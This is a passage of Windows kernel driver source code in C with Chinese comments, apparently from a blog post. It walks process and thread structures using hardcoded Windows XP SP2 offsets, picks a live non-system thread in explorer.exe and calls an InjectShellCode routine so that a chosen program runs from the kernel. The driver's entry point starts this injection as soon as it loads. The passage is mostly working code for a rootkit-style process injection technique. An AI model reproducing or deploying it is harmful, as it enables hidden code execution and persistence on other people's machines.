		pName = (char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/;
		if (!_strnicmp(pName, strProc, len))
		{
			DbgPrint("find process\n");
			pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead);   // ThreadListHead, XP SP2
			pThNextEntry = pThListHead->Flink;
			while (pThNextEntry != pThListHead)
			{
				// 接着查找符合条件的线程


				pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry);    // ThreadListEntry, XP SP2

				SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount);
				CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags);

				if (!SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0)
				{
					// 非Suspend,非退出态,非内核线程
					DbgPrint("find thread\n");

					// 注入找到的线程
					InjectShellCode(pThread, pProcess);
					return TRUE;
					break;
				}
				pThNextEntry = pThNextEntry->Flink;
			}
			break;
		}
		pNextEntry = pNextEntry->Flink;
	} while (pNextEntry != pListHead);
	return FALSE;
}

/************************************************************************/
/*            从内核中注入RING3线程
运行我们指定的EXE程序
*/
/************************************************************************/
BOOLEAN RunMyProcess(char* strProc, int len)
{

	if (!FindFunc())
	{
		DbgPrint("Find KexxxThread failed!\n");
		return FALSE;
	}

	if (!Inject(strProc, strlen(strProc)))
	{
		KdPrint(("Inject failed\n"));
		return FALSE;
	}
	return TRUE;
}


#endif


//卸载函数
VOID
FsfUnload(
__in struct _DRIVER_OBJECT *DriverObject
)
{ 

}

/************************************************************************
* 函数名称:DriverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
*************************************************************************/
#pragma INITCODE
NTSTATUS DriverEntry(
	IN PDRIVER_OBJECT pDriverObject,
	IN PUNICODE_STRING pRegistryPath)
{
	NTSTATUS status = 1;
	KdPrint(("Enter DriverEntry\n"));
	//_asm int 3  //用来断点调试
	InitEProcessInfo();
	RunMyProcess("explorer.exe", 13);// "\\??\\C:\\windows\\system32\\cmd.exe", 8);

	pDriverObject->DriverUnload = FsfUnload;
	KdPrint(("DriverEntry end\n"));
	return status;
}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值